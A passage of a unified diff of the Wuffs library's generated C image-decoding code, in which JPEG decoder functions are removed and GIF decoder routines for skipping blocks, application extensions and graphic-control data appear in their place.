((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(1u)))); -- v_final2 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(0u)))); -- v_final3 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(1u)))); -- v_final4 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(2u)))); -- v_final5 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(3u)))); -- v_final6 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(2u)))); -- v_final7 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(3u)))); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final0); -- a_dst_buffer = v_remaining; -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final1); -- a_dst_buffer = v_remaining; -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final2); -- a_dst_buffer = v_remaining; -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final3); -- a_dst_buffer = v_remaining; -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final4); -- a_dst_buffer = v_remaining; -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final5); -- a_dst_buffer = v_remaining; -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final6); -- a_dst_buffer = v_remaining; -- if (8u > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final7); -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) --// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 -- --// -------- func jpeg.decoder.get_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_jpeg__decoder__get_quirk( -- const wuffs_jpeg__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func jpeg.decoder.set_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_jpeg__decoder__set_quirk( -- wuffs_jpeg__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); --} -- --// -------- func jpeg.decoder.decode_image_config -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_jpeg__decoder__decode_image_config( -- wuffs_jpeg__decoder* self, -- wuffs_base__image_config* a_dst, -+static wuffs_base__status -+wuffs_gif__decoder__skip_blocks( -+ wuffs_gif__decoder* self, - wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint8_t v_block_size = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_skip_blocks; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_image_config(self, a_dst, a_src); -- v_status = t_0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_block_size = t_0; - } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); -- goto exit; -+ if (v_block_size == 0u) { -+ status = wuffs_base__make_status(NULL); -+ goto ok; - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ self->private_data.s_skip_blocks.scratch = ((uint32_t)(v_block_size)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (self->private_data.s_skip_blocks.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_skip_blocks.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_skip_blocks.scratch; - } - - ok: -- self->private_impl.p_decode_image_config[0] = 0; -+ self->private_impl.p_skip_blocks = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ self->private_impl.p_skip_blocks = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -+ - return status; - } - --// -------- func jpeg.decoder.do_decode_image_config -+// -------- func gif.decoder.decode_ae - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__do_decode_image_config( -- wuffs_jpeg__decoder* self, -- wuffs_base__image_config* a_dst, -+wuffs_gif__decoder__decode_ae( -+ wuffs_gif__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint8_t v_marker = 0; -- uint32_t v_pixfmt = 0; -+ uint8_t v_c8 = 0; -+ uint8_t v_block_size = 0; -+ bool v_is_animexts = false; -+ bool v_is_netscape = false; -+ bool v_is_iccp = false; -+ bool v_is_xmp = false; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -42362,253 +42476,191 @@ wuffs_jpeg__decoder__do_decode_image_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_ae; - if (coro_susp_point) { -- v_marker = self->private_data.s_do_decode_image_config[0].v_marker; -+ v_block_size = self->private_data.s_decode_ae.v_block_size; -+ v_is_animexts = self->private_data.s_decode_ae.v_is_animexts; -+ v_is_netscape = self->private_data.s_decode_ae.v_is_netscape; -+ v_is_iccp = self->private_data.s_decode_ae.v_is_iccp; -+ v_is_xmp = self->private_data.s_decode_ae.v_is_xmp; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ do { -+ if (self->private_impl.f_metadata_fourcc != 0u) { -+ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -+ goto ok; - } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if (v_c != 255u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_block_size = t_0; - } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -- } -- if (v_c != 216u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); -- goto exit; -- } -- while (true) { -- while (true) { -+ if (v_block_size == 0u) { -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } -+ if (v_block_size != 11u) { -+ self->private_data.s_decode_ae.scratch = ((uint32_t)(v_block_size)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_decode_ae.scratch; -+ break; -+ } -+ v_is_animexts = true; -+ v_is_netscape = true; -+ v_is_iccp = true; -+ v_is_xmp = true; -+ v_block_size = 0u; -+ while (v_block_size < 11u) { - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ v_is_animexts = (v_is_animexts && (v_c8 == WUFFS_GIF__ANIMEXTS1DOT0[v_block_size])); -+ v_is_netscape = (v_is_netscape && (v_c8 == WUFFS_GIF__NETSCAPE2DOT0[v_block_size])); -+ v_is_iccp = (v_is_iccp && (v_c8 == WUFFS_GIF__ICCRGBG1012[v_block_size])); -+ v_is_xmp = (v_is_xmp && (v_c8 == WUFFS_GIF__XMPDATAXMP[v_block_size])); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_block_size += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ if (v_is_animexts || v_is_netscape) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } - uint8_t t_2 = *iop_a_src++; -- v_c = t_2; -+ v_block_size = t_2; - } -- if (v_c == 255u) { -+ if (v_block_size != 3u) { -+ self->private_data.s_decode_ae.scratch = ((uint32_t)(v_block_size)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_decode_ae.scratch; - break; - } -- } -- while (true) { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } - uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -+ v_c8 = t_3; - } -- if (v_c != 255u) { -- v_marker = v_c; -+ if (v_c8 != 1u) { -+ self->private_data.s_decode_ae.scratch = 2u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_decode_ae.scratch; - break; - } -- } -- if (v_marker == 0u) { -- continue; -- } else if ((208u <= v_marker) && (v_marker <= 217u)) { -- if (v_marker <= 215u) { -- continue; -- } -- } else { - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); - uint32_t t_4; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); - iop_a_src += 2; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ self->private_data.s_decode_ae.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -+ uint64_t* scratch = &self->private_data.s_decode_ae.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; - if (num_bits_4 == 8) { -- t_4 = ((uint32_t)(*scratch >> 48)); -+ t_4 = ((uint32_t)(*scratch)); - break; - } - num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)); -+ *scratch |= ((uint64_t)(num_bits_4)) << 56; - } - } -- self->private_impl.f_payload_length = t_4; -- } -- if (self->private_impl.f_payload_length < 2u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -- goto exit; -- } -- self->private_impl.f_payload_length -= 2u; -- } -- if (v_marker < 192u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -- } else if (v_marker < 208u) { -- if (v_marker <= 194u) { -- if (self->private_impl.f_sof_marker != 0u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -- goto exit; -- } -- self->private_impl.f_sof_marker = v_marker; -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- status = wuffs_jpeg__decoder__decode_sof(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- break; -- } else if (v_marker == 195u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_lossless_coding); -- goto exit; -- } else if (v_marker == 196u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } else if ((197u <= v_marker) && (v_marker <= 199u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_hierarchical_coding); -- goto exit; -- } else if (v_marker == 200u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_arithmetic_coding); -- goto exit; -- } -- } else if (v_marker < 224u) { -- if (v_marker < 218u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -- goto exit; -- } else if (v_marker == 218u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -- goto exit; -- } else if (v_marker == 219u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- status = wuffs_jpeg__decoder__decode_dqt(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- continue; -- } else if (v_marker == 221u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- status = wuffs_jpeg__decoder__decode_dri(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- continue; -- } else { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -- } -- } else if (v_marker < 240u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- status = wuffs_jpeg__decoder__decode_appn(self, a_src, v_marker); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -+ self->private_impl.f_num_animation_loops_value = t_4; - } -- continue; -- } else { -- if (v_marker == 254u) { -- } else { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -+ self->private_impl.f_seen_num_animation_loops_value = true; -+ if ((0u < self->private_impl.f_num_animation_loops_value) && (self->private_impl.f_num_animation_loops_value <= 65535u)) { -+ self->private_impl.f_num_animation_loops_value += 1u; - } -+ } else if (self->private_impl.f_call_sequence >= 32u) { -+ } else if (v_is_iccp && self->private_impl.f_report_metadata_iccp) { -+ self->private_impl.f_metadata_fourcc = 1229144912u; -+ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ self->private_impl.f_call_sequence = 16u; -+ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -+ goto ok; -+ } else if (v_is_xmp && self->private_impl.f_report_metadata_xmp) { -+ self->private_impl.f_metadata_fourcc = 1481461792u; -+ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ self->private_impl.f_call_sequence = 16u; -+ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -+ goto ok; - } -- self->private_data.s_do_decode_image_config[0].scratch = self->private_impl.f_payload_length; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; -- self->private_impl.f_payload_length = 0u; -+ } while (0); -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- self->private_impl.choosy_decode_idct = ( --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) -- wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_jpeg__decoder__decode_idct_x86_avx2 : --#endif -- self->private_impl.choosy_decode_idct); -- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- if (a_dst != NULL) { -- v_pixfmt = 536870920u; -- if (self->private_impl.f_num_components > 1u) { -- v_pixfmt = 2415954056u; -- } -- wuffs_base__image_config__set( -- a_dst, -- v_pixfmt, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- self->private_impl.f_frame_config_io_position, -- true); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ status = wuffs_gif__decoder__skip_blocks(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; - } -- self->private_impl.f_call_sequence = 32u; - -- goto ok; - ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -+ self->private_impl.p_decode_ae = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_image_config[0].v_marker = v_marker; -+ self->private_impl.p_decode_ae = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_ae.v_block_size = v_block_size; -+ self->private_data.s_decode_ae.v_is_animexts = v_is_animexts; -+ self->private_data.s_decode_ae.v_is_netscape = v_is_netscape; -+ self->private_data.s_decode_ae.v_is_iccp = v_is_iccp; -+ self->private_data.s_decode_ae.v_is_xmp = v_is_xmp; - - goto exit; - exit: -@@ -42619,18 +42671,18 @@ wuffs_jpeg__decoder__do_decode_image_config( - return status; - } - --// -------- func jpeg.decoder.decode_dqt -+// -------- func gif.decoder.decode_gc - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__decode_dqt( -- wuffs_jpeg__decoder* self, -+wuffs_gif__decoder__decode_gc( -+ wuffs_gif__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint8_t v_q = 0; -- uint32_t v_i = 0; -+ uint8_t v_c8 = 0; -+ uint8_t v_flags = 0; -+ uint16_t v_gc_duration_centiseconds = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -42643,73 +42695,103 @@ wuffs_jpeg__decoder__decode_dqt( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_dqt[0]; -- if (coro_susp_point) { -- v_q = self->private_data.s_decode_dqt[0].v_q; -- v_i = self->private_data.s_decode_dqt[0].v_i; -- } -+ uint32_t coro_susp_point = self->private_impl.p_decode_gc; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- while (self->private_impl.f_payload_length > 0u) { -- self->private_impl.f_payload_length -= 1u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if ((v_c & 15u) > 3u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); -- goto exit; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_q = (v_c & 15u); -- if ((v_c >> 4u) == 1u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); -- goto exit; -- } else if (((v_c >> 4u) > 1u) || (self->private_impl.f_payload_length < 64u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); -- goto exit; -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 != 4u) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- self->private_impl.f_payload_length -= 64u; -- v_i = 0u; -- while (v_i < 64u) { -- v_i += 1u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ uint8_t t_1 = *iop_a_src++; -+ v_flags = t_1; -+ } -+ self->private_impl.f_gc_has_transparent_index = (((uint8_t)(v_flags & 1u)) != 0u); -+ v_flags = ((uint8_t)(((uint8_t)(v_flags >> 2u)) & 7u)); -+ if (v_flags == 2u) { -+ self->private_impl.f_gc_disposal = 1u; -+ } else if ((v_flags == 3u) || (v_flags == 4u)) { -+ self->private_impl.f_gc_disposal = 2u; -+ } else { -+ self->private_impl.f_gc_disposal = 0u; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint16_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_gc.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint16_t t_1 = *iop_a_src++; -- self->private_impl.f_quant_tables[v_q][WUFFS_JPEG__UNZIG[v_i]] = t_1; -+ uint64_t* scratch = &self->private_data.s_decode_gc.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 8) { -+ t_2 = ((uint16_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; - } - } -- self->private_impl.f_seen_dqt[v_q] = true; -- if (self->private_impl.f_sof_marker == 0u) { -- v_i = 0u; -- while (v_i < 64u) { -- self->private_impl.f_saved_quant_tables[v_q][v_i] = self->private_impl.f_quant_tables[v_q][v_i]; -- v_i += 1u; -- } -- self->private_impl.f_saved_seen_dqt[v_q] = true; -+ v_gc_duration_centiseconds = t_2; -+ } -+ self->private_impl.f_gc_duration = (((uint64_t)(v_gc_duration_centiseconds)) * 7056000u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ self->private_impl.f_gc_transparent_index = t_3; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); -+ goto exit; - } - - goto ok; - ok: -- self->private_impl.p_decode_dqt[0] = 0; -+ self->private_impl.p_decode_gc = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_dqt[0] = 